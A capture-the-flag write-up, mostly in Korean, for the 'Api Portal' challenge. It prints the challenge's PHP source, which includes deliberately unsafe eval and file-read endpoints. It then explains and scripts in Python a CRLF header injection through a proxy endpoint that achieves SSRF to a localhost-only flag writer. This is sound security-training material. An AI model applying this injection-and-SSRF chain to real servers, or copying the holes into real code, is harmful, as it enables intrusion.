[2022 Fall GoN Open Qual CTF] Api Portal writeup

<?php

$action = $_GET["action"] ?? "main";

switch($action) {
    case "main":
        break;
    case "help":
        break;
    
    // Safe key-value DB API
    case "db/create":
        $param = array($_GET["key"]);
        break;
    case "db/list":
        break;
    case "db/delete":
        $param = array($_GET["key"]);
        break;
    case "db/save":
        $param = array($_GET["dbkey"], $_GET["key"], $_GET["value"]);
        break;
    case "db/read":
        $param = array($_GET["dbkey"], $_GET["key"]);
        break;

    // Network-related API
    case "net/proxy/get":
        $param = array($_GET["url"], $_SERVER["REMOTE_ADDR"], urldecode($_SERVER["REQUEST_URI"]));
        break;
    case "net/proxy/post":
        $param = array($_GET["url"], $_SERVER["REMOTE_ADDR"], urldecode($_SERVER["REQUEST_URI"])); //TODO: implement POST data
        break;
    case "net/ping":
        $param = array($_GET["target"]);
        break;
    case "net/nslookup":
        $param = array($_GET["domain"], $_GET["record"]);
        break;

    // For your treat
    case "cheat/read-file":
        $param = array($_GET["name"]);
        break;
    case "cheat/eval":
        $param = array($_GET["code"]);
        break;
    case "cheat/phpinfo":
        break;

    // Flag
    case "flag/flag":
        $param = array($_GET["flag"]);
        break;

    default:
        $action = "main";
        break;
}

include "action/$action.php";

 

index.php 의 소스코드이다.

php 로 RESTful api 를 구현한 모습이 보인다.

 

딱봐도 뭔가 있을 것 같은 flag.php 를 보자면

 

<?php
include "_flag.php";

if ($_SERVER["REMOTE_ADDR"] === "127.0.0.1" || $_SERVER["REMOTE_ADDR"] === "::1") {
    if($_POST["mode"] === "write" && isset($_POST["dbkey"]) && isset($_POST["key"])) {
        
        $k1 = md5($_POST["dbkey"]);
        $k2 = md5($_POST["dbkey"].$_POST["key"]);
        $value = base64_encode($flag);

        @file_put_contents("/tmp/api-portal/db/$k1/$k2", $value);
        die("success");
    }
}

$x = $flag;
for($i = 0; $i < 1337; $i++)
    $x = sha1($x);

header("Content-Type: text/plain");


die(<<<EOF
--API Portal Doc--
Endpoint: flag/flag
Method: POST
Parameter: [POST] mode "write" (mandatory)
Parameter: [POST] dbkey
Parameter: [POST] key

Update (dbkey->key)'s value of the Key-Value storage with flag


Fun fact: (sha1 * sha1 * ... sha1)(flag) == $x (1337 times)
EOF);

 

저 if 문을 통과해야 flag 를 특정 파일에 쓸 수 있다.

ip 가 127.0.0.1 이여야 하므로, ssrf 가 가능한 php 파일을 찾아야 한다.

 

<?php
//TODO: Change to php-curl

$url = "http://".$param[0]; //TODO: support ssl context
$ip = $param[1];
$referer = $param[2];

$header = "User-Agent: API Portal Proxy\r\n";
$header .= "X-Forwarded-For: {$ip}\r\n";
$header .= "X-Api-Referer: {$referer}";

$ctx = stream_context_create(array(
    'http' => array(
        'method' => 'POST',
        "content" => "", //TODO: implement
        'header' => $header
    )
));

die(file_get_contents($url, null, $ctx));

 

/net/proxy 디렉토리에 있는 post.php 파일의 소스코드이다.

 

다시 index.php 의 일부분을 보자면

case "net/proxy/post":
        $param = array($_GET["url"], $_SERVER["REMOTE_ADDR"], urldecode($_SERVER["REQUEST_URI"])); //TODO: implement POST data
        break;

 

$_SERVER['REQUEST_URI'] 을 $param[2] 로 전달하는 것을 볼 수 있다.

그리고 그 $param[2] 는 header 의 일부분이 된다.

 

그럼 header 에 CRLF 문자를 넣어주면 http header 와 body 에 원하는 값을 넣어줄 수 있을 것이다.

body 에 mode, dbkey, key 값을 넣어주고 http request 를 보내면 특정 파일에 flag 값을 넣어주게 되고,

 

<?php

$db_key = md5($param[0]);
$value_key = md5($param[0].$param[1]);

$content = @file_get_contents("/tmp/api-portal/db/$db_key/$value_key");

header("Content-Type: text/plain");
die(base64_decode($content));

/db/read.php 에 dbkey, key 값을 보내서 flag 가 들어있는 파일을 읽어주면 flag 를 얻을 수 있다.

 

import requests
import urllib

host = 'host1.dreamhack.games'
port = 10332

r = requests.get('http://'+host+':'+str(port)+'/index.php?action=db/create&key=deayzl')
print(r.content.decode())

r = requests.get('http://'+host+':'+str(port)+'/index.php?action=db/save&dbkey=deayzl&key=yeah&value=yeah')
print(r.content.decode())

s = requests.Session()
req = requests.Request('GET', 'http://'+host+':'+str(port)+'/index.php?action=net/proxy/post&url=localhost/action/flag/flag.php&'+urllib.parse.quote('\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: '+str(len('mode=write&dbkey=deayzl&key=yeah'))+'\r\n\r\nmode=write&dbkey=deayzl&key=yeah\r\n'))
prepped = req.prepare()
resp = s.send(prepped)
if(resp.content.decode().find('success') != -1):
    print(resp.content.decode())

s = requests.Session()
req = requests.Request('GET', 'http://'+host+':'+str(port)+'/index.php?action=db/read&dbkey=deayzl&key=yeah')
prepped = req.prepare()
print(prepped.url)
resp = s.send(prepped)
print(resp.content.decode())

 

(index.php 에서 $_SERVER['REQUEST_URI'] 를 url decode 해주니, url encode 를 한번 하고 request 를 보냈다)